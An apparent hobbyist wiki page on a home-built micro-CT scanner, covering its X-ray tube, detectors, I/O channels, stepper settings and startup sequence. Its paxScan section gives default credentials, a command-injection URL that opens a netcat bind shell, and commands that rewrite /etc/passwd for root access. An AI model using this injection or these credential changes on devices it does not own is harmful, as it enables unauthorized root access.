====== macroCT ====== ===== X-Ray Source ===== ==== PSX10-WB-130 Microfocus Source ==== * 20kV-130kV targe voltage * 0.356mA@45kV 0.123mA@130kV beam current * 7µm@4W - 21µm@16W focal spot on tungsten target * 115° cone angle * 0.51mm Beryllium window ! Hello ROM 038 RAM 185 PS PXS10-WB S/N 12815 Tube KM132 S/N 42039 DCM E S/N 00638 ! TIMESTATS NonOpSecsRemain 0 TotalHours 42639.8 TotalHoursXRAYon 35298.0 ! STATUS Off HV .11 080.0 Beam 00.5 0070 Unsafe Infocus Spot 008 ! Diag2 Anodeleak 17.6 Serial Interface on /dev/ttyS3 with 3840bps 8N1 ====== Detectors ====== ==== Dexis Platinum / GXS-700 ==== * SN: 0104430711 * 19.5µm x 19.5µm Pixels * 1324x1692 Resolution * Sensor Firmware Version: 0.5.10, 0.3.6, 0.4.5 * CPLD Version: 3.3.0.0 * API Version: 1.0.10.0 * VID 5328 PID 2010 * SN: 1093330312 * 19.5µm x 19.5µm Pixels * 1552x1040 Resolution [[https://nucwiki.org/wiki/index.php/GXS700_FOSS]] [[https://nucwiki.org/wiki/index.php/Gendex_GXS700]] [[https://nucwiki.org/wiki/index.php/Gendex_GXS700_Dump]] [[https://github.com/JohnDMcMaster/gxs700]] ==== Dexela ==== ==== paxScan ==== The USB connector is actually Ethernet. d+/d- and gnd/ID are the ethernet lines. If you hook up to that, you can see a autoconf IP address. Access the webinterface and login with admin:password. This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}` Run this: mount -o remount,rw /home echo "export VP_SSHD=1" >> /home/vsp/settings.sh ## this enables SSH server echo "sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh ## this sets the root password to password echo "sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh ## this sets the vsp password to password sync mount -o remount,ro /home This allows you to login as vsp with password password and then becoming root with "su". ssh: vsp:password su: root:password IP: 192.168.179.200 ===== I/O ===== on /dev/ttyACM0 ==== PWM ==== Channels * 0: Chamber Light * 1: Alignment Laser Vertical * 2: Alignment Laser Horizontal * 3: (unused) * 4: Case Fan 1 (in) * 5: Case Fan 2 (out) * 6-15: (unused) ==== Outputs ==== Channels: * 0: Stepper Motor Supply * 1: (unused) * 2: (unused) * 3: (unused) * 4: (unused) * 5: (unused) * 6: (unused) * 7: (unused) * 8: Tube Supply * 9: (unused) * 10: Software E-Stop * 11: Safety Start * 12: Software Power Interlock * 13: Software Chamber Interlock * 14: 15V Detector Supply (PaxScan) * 15: 24V Detector Supply ===== Mechanics ===== ==== Stepper Motors ==== === GRBL === ATmega2560 on /dev/ttyUSB0 https://github.com/gnea/grbl/wiki/Grbl-v1.1-Configuration http://eleccelerator.com/fusecalc/fusecalc.php?chip=atmega2560 == Settings == $0=10 $1=254 $2=0 $3=0 $4=0 $5=1 $6=0 $10=1 $11=0.020 $12=0.002 $13=0 $20=0 $21=1 $22=1 $23=0 $24=100.000 $25=500.000 $26=250 $27=5.000 $30=12000 $31=550 $32=0 $100=160.000 $101=160.000 $102=160.000 $103=160.000 $110=600.000 $111=600.000 $112=600.000 $113=600.000 $120=40.000 $121=40.000 $122=40.000 $123=40.000 $130=400.000 $131=400.000 $132=400.000 $133=400.000 ==== Startup Sequence ==== Connect to /dev/ttyACM0 Enable Debug Mode /dev/ttyACM0 : debug 1 Enable Sensor Supply /dev/ttyACM0 : output 14 1 Enable Tube Supply /dev/ttyACM0 : output 8 1 Connect to /dev/ttyS3 Check Tube Status /dev/ttyS3 : status Check Beam Voltage HV /dev/ttyS3 : hv setting Check Beam Current /dev/ttyS3 : beam setting Set Software Chamber Interlock /dev/ttyACM0 : output 13 1 Set Software Power Interlock /dev/ttyACM0 : output 12 1 Turn Key-Switch to ON Release Emergency Stop Release Software E-Stop /dev/ttyACM0 : output 10 1 Pulse Software Safety Start /dev/ttyACM0 : output 11 1 /dev/ttyACM0 : output 11 0 Check Tube Status (should be "Safe Infocus", else wait for warmup to finish) /dev/ttyS3 : status Override Tube Conditioning /dev/ttyS3 : program 10 Start Sensor Capture cd ~/Code/PaxScan_CP2-Lite_ACQ python3 test.py Enable XRAYs /dev/ttyS3 : xray on Check Tube Status to see when current has ramped up /dev/ttyS3 : status /dev/ttyS3 : status ... Trigger Sensor Exposure Disable XRAYs /dev/ttyS3 : xray off Turn off Key-Switch Turn off safety /dev/ttyACM0 : output 11 0 /dev/ttyACM0 : output 12 0 /dev/ttyACM0 : output 13 0 Turn off Tube supply /dev/ttyACM0 : output 8 0 Turn off Sensor supply /dev/ttyACM0 : output 14 0 Disconnect Serial ports Shutdown PC